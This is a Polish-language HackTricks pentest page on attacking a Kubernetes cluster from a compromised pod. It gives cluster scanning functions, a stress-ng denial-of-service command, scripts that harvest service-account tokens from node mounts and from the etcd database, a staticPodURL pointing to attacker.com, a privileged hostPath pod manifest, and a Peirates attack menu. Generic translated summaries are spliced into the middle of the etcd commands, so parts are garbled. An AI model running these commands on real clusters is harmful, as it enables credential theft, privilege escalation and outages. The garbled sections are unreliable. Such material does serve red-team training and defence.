Attacking Kubernetes from inside a Pod

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ucieczka z Pojedynczego Kontenera

Jeśli masz szczęście, możesz próbować uciec z niego do węzła:

Ucieczka z kontenera

Aby spróbować uciec z kontenera, możesz najpierw potrzebować eskaluować uprawnienia, oto kilka technik:

Możesz sprawdzić te przejścia dockerowe, aby spróbować uciec z zainfekowanego kontenera:

Nadużywanie Uprawnień Kubernetes

Jak wyjaśniono w sekcji dotyczącej enumeracji kubernetes:

pageKubernetes Enumeration

Zazwyczaj kontenery są uruchamiane z tokenem konta usługi wewnątrz nich. To konto usługi może mieć przypisane pewne uprawnienia, których możesz nadużyć, aby przenieść się do innych kontenerów lub nawet uciec do skonfigurowanych w klastrze węzłów. Sprawdź jak to zrobić:

pageAbusing Roles/ClusterRoles in Kubernetes

Nadużywanie Uprawnień Chmurowych

Jeśli kontener jest uruchamiany w środowisku chmurowym, możesz być w stanie wyciec token z punktu końcowego metadanych i eskalować uprawnienia, korzystając z niego.

Wyszukiwanie podatnych usług sieciowych

Jako że jesteś w środowisku Kubernetes, jeśli nie możesz eskalować uprawnień nadużywając obecnych uprawnień kontenerów i nie możesz uciec z kontenera, powinieneś szukać potencjalnie podatnych usług.

Usługi

W tym celu możesz spróbować uzyskać wszystkie usługi środowiska kubernetes:

kubectl get svc --all-namespaces

Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że każdy pod/usługa w klastrze może rozmawiać z innymi. Przestrzenie nazw w klastrze nie mają domyślnie żadnych ograniczeń dotyczących bezpieczeństwa sieciowego. Każdy w przestrzeni nazw może rozmawiać z innymi przestrzeniami nazw.

Skanowanie

Następujący skrypt Bash (pochodzący z warsztatów Kubernetes) zainstaluje i zeskanuje zakresy IP klastra Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Zajrzyj na następującą stronę, aby dowiedzieć się, jak można atakować specyficzne usługi Kubernetes w celu skompromitowania innych modułów/wszystkiego w środowisku:

pagePentesting Kubernetes Services

Podsłuchiwanie

W przypadku, gdy skompromitowany pod uruchamia wrażliwą usługę, do której inne moduły muszą uwierzytelnić, możesz uzyskać dane uwierzytelniające wysyłane z innych modułów, przechwytując lokalne komunikacje.

Podrobienie sieci

Domyślnie techniki takie jak podrobienie ARP (i dzięki temu podrobienie DNS) działają w sieci kubernetes. Następnie, wewnątrz poda, jeśli masz zdolność NET_RAW (która jest domyślnie dostępna), będziesz mógł wysyłać niestandardowe, spreparowane pakiety sieciowe i przeprowadzać ataki typu MitM poprzez podrobienie ARP na wszystkie moduły działające na tym samym węźle. Co więcej, jeśli złośliwy pod działa na tym samym węźle co serwer DNS, będziesz mógł przeprowadzić atak podrobienia DNS na wszystkie moduły w klastrze.

pageKubernetes Network Attacks

DoS Węzła

W manifestach Kubernetes nie określa się zasobów i nie stosuje się limitów dla kontenerów. Jako atakujący, możemy zużyć wszystkie zasoby, na których działa pod/wdrożenie i wyczerpać inne zasoby, powodując DoS w środowisku.

Można to zrobić za pomocą narzędzia takiego jak stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Możesz zobaczyć różnicę podczas uruchamiania stress-ng i po nim.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Eksploatacja Węzła

Jeśli udało ci się uciec z kontenera, znajdziesz kilka interesujących rzeczy w węźle:

  • Proces Kontener Runtime (Docker)

  • Więcej pods/kontenerów działających w węźle, które można wykorzystać, takie jak ten (więcej tokenów)

  • Cały system plików i system operacyjny ogólnie

  • Usługa Kube-Proxy nasłuchująca

  • Usługa Kubelet nasłuchująca. Sprawdź pliki konfiguracyjne:

    • Katalog: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Inne wspólne pliki Kubernetes:

    • $HOME/.kube/config - Konfiguracja użytkownika

    • /etc/kubernetes/kubelet.conf- Zwykła konfiguracja

    • /etc/kubernetes/bootstrap-kubelet.conf - Konfiguracja rozruchowa

    • /etc/kubernetes/manifests/etcd.yaml - Konfiguracja etcd

    • /etc/kubernetes/pki - Klucz Kubernetes

Znajdź kubeconfig węzła

Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej wspomnianych ścieżek, sprawdź argument --kubeconfig procesu kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Ukradnij Sekrety

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skrypt can-they.sh automatycznie pobierze tokeny innych modułów i sprawdzi, czy mają uprawnienie, którego szukasz (zamiast sprawdzania po kolei):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Przywilejowane DaemonSety

DaemonSet to pod, który będzie uruchamiany na wszystkich węzłach klastra. Dlatego jeśli DaemonSet jest skonfigurowany z uprzywilejowanym kontem usługi, na WSZYSTKICH węzłach będzie można znaleźć token tego uprzywilejowanego konta usługi, który można wykorzystać.

Wykorzystanie jest takie samo jak w poprzednim rozdziale, ale teraz nie zależy to już od szczęścia.

Przejście do Chmury

Jeśli klaster jest zarządzany przez usługę chmurową, zazwyczaj Węzeł będzie miał inny dostęp do punktu końcowego metadanych niż Pod. Dlatego spróbuj uzyskać dostęp do punktu końcowego metadanych z węzła (lub z pod z hostNetwork ustawionym na True):

pageKubernetes Pivoting to Clouds

Ukradnij etcd

Jeśli możesz określić nazwęWęzła Węzła, na którym będzie uruchamiany kontener, uzyskaj powłokę wewnątrz węzła płaszczyzny kontrolnej i pobierz bazę danych etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Węzły płaszczyzny kontrolnej mają rolę master i w zarządzanych chmurze klastrach nie będzie można uruchomić na nich niczego.

Odczytaj tajemnice z etcd

Jeśli możesz uruchomić swój pod na węźle płaszczyzny kontrolnej, korzystając z selektora nodeName w specyfikacji poda, możesz łatwo uzyskać dostęp do bazy danych etcd, która zawiera całą konfigurację klastra, w tym wszystkie tajemnice.

Poniżej znajduje się szybki i brudny sposób pobrania tajemnic z etcd, jeśli działa on na węźle płaszczyzny kontrolnej, na którym się znajdujesz. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia pod z narzędziem klienta etcd o nazwie etcdctl i używa poświadczeń węzła płaszczyzny kontrolnej do połączenia się z etcd, gdziekolwiek jest uruchomiony, sprawdź ten przykładowy manifest od @mauilion.

Sprawdź, czy etcd działa na węźle płaszczyzny kontrolnej i zobacz, gdzie znajduje się baza danych (To jest na klastrze utworzonym za pomocą kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Atakowanie Kubernetes z wnętrza PoDa

W przypadku, gdy zdobędziemy dostęp do kontenera w klastrze Kubernetes, istnieje wiele technik, które możemy wykorzystać do zwiększenia naszych uprawnień lub atakowania samego klastra. Poniżej przedstawione są niektóre z tych technik:

1. Zbieranie informacji o klastrze:

  • Użyj narzędzi takich jak kubectl, aby uzyskać informacje o klastrze, takie jak wersja Kubernetes, zasoby klastra, itp.

  • Sprawdź pliki konfiguracyjne i tokeny dostępu, które mogą być użyteczne do dalszych ataków.

2. Atakowanie innych PoDów:

  • Jeśli masz uprawnienia do uruchamiania kontenerów w klastrze, możesz próbować atakować inne PoDy w tym samym klastrze.

  • Wykorzystaj słabe zabezpieczenia w aplikacjach działających w innych PoDach.

3. Atakowanie zasobów klastra:

  • Spróbuj uzyskać dostęp do zasobów klastra, takich jak konfiguracje, tokeny, klucze prywatne itp.

  • Wykorzystaj te zasoby do eskalacji uprawnień lub ataków na inne części klastra.

4. Wykorzystywanie błędów w konfiguracji:

  • Szukaj błędów w konfiguracji klastra, takich jak niewłaściwe ustawienia uprawnień, otwarte porty, itp.

  • Wykorzystaj te błędy do atakowania klastra lub innych usług w klastrze.

Pamiętaj, że atakowanie klastra Kubernetes z wnętrza PoDa wymaga ostrożności i zrozumienia konsekwencji takich działań. Upewnij się, że działasz zgodnie z zasadami etycznego hakowania i zezwoleniem właściciela klastra.

data-dir=/var/lib/etcd

Wyświetl dane w bazie danych etcd:

strings /var/lib/etcd/member/snap/db | less

Wyodrębnij tokeny z bazy danych i pokaż nazwę konta usługi

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

To samo polecenie, ale dodane kilka grepsów, aby zwrócić tylko domyślny token w przestrzeni nazw kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Atakowanie Kubernetes z wnętrza kontenera (pod)

W przypadku, gdy zdobędziesz dostęp do kontenera (pod) w klastrze Kubernetes, istnieje wiele technik, które możesz wykorzystać do atakowania samego klastra. Poniżej przedstawione są niektóre z tych technik:

1. Zbieranie informacji o klastrze

Możesz użyć narzędzi takich jak kubectl, kubectx, kubens do zbierania informacji o klastrze, takich jak wersja Kubernetes, zasoby klastra, uruchomione aplikacje, itp.

2. Wykorzystywanie API Kubernetes

Możesz wykorzystać API Kubernetes do wykonywania różnych działań, takich jak tworzenie/aktualizacja/usuwanie zasobów w klastrze.

3. Atakowanie innych podów

Jeśli masz dostęp do kontenera w jednym podzie, możesz próbować atakować inne pody w tym samym klastrze, wykorzystując różne techniki ataków.

4. Przechwytywanie ruchu sieciowego

Możesz użyć narzędzi do przechwytywania ruchu sieciowego, takich jak tcpdump lub Wireshark, aby analizować ruch sieciowy między podami w klastrze.

5. Wykorzystywanie błędów konfiguracji

Jeśli istnieją błędy w konfiguracji klastra Kubernetes, możesz je wykorzystać do eskalacji uprawnień lub atakowania innych zasobów w klastrze.

Pamiętaj, że atakowanie klastra Kubernetes z wnętrza kontenera (pod) jest niebezpieczne i powinno być przeprowadzane tylko w celach pentestowych lub zgodnie z zasadami etycznego hakowania.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statyczna / Lustrzana Trwałość Podów

Pody statyczne są zarządzane bezpośrednio przez demona kubelet na określonym węźle, bez obserwowania ich przez serwer API. W przeciwieństwie do Podów zarządzanych przez płaszczyznę kontrolną (na przykład Deployment); zamiast tego, kubelet obserwuje każdy statyczny Pod (i restartuje go w przypadku awarii).

Dlatego pody statyczne zawsze są powiązane z jednym Kubeletem na określonym węźle.

Kubelet automatycznie próbuje utworzyć lustrzany Pod na serwerze API Kubernetes dla każdego statycznego Poda. Oznacza to, że Pody uruchamiane na węźle są widoczne na serwerze API, ale nie można nimi sterować stamtąd. Nazwy Podów będą z sufiksem z nazwą hosta węzła z wiodącym myślnikiem.

Spec statycznego Poda nie może odnosić się do innych obiektów API (np. ServiceAccount, ConfigMap, Secret, itp. Dlatego nie można nadużyć tego zachowania, aby uruchomić pod z dowolnym serviceAccount w bieżącym węźle w celu skompromitowania klastra. Ale można użyć tego do uruchamiania podów w różnych przestrzeniach nazw (jeśli jest to przydatne z jakiegoś powodu).

Jeśli jesteś wewnątrz hosta węzła, możesz sprawić, że utworzy statyczny pod wewnątrz siebie. Jest to dość przydatne, ponieważ może pozwolić Ci utworzyć pod w innej przestrzeni nazw jak kube-system.

Aby utworzyć statyczny pod, dokumentacja jest wielką pomocą. W zasadzie potrzebujesz 2 rzeczy:

  • Skonfiguruj parametr --pod-manifest-path=/etc/kubernetes/manifests w usłudze kubelet, lub w konfiguracji kubelet (staticPodPath) i zrestartuj usługę

  • Utwórz definicję w definicji poda w /etc/kubernetes/manifests

Innym, bardziej skrytym sposobem byłoby:

  • Zmodyfikuj parametr staticPodURL z pliku konfiguracyjnego kubelet i ustaw coś w rodzaju staticPodURL: http://attacker.com:8765/pod.yaml. Spowoduje to, że proces kubeletu utworzy statyczny pod, pobierając konfigurację z podanego adresu URL.

Przykład konfiguracji poda do utworzenia poda z uprawnieniami w kube-system zaczerpnięty z tutaj:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Usuwanie modułów + węzły nieskalowalne

Jeśli atakujący skompromituje węzeł i będzie mógł usunąć moduły z innych węzłów oraz uniemożliwić innym węzłom wykonywanie modułów, moduły zostaną uruchomione ponownie na skompromitowanym węźle, co umożliwi mu ukradzenie tokenów uruchamianych w nich. Aby uzyskać więcej informacji, kliknij ten link.

Automatyczne narzędzia

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated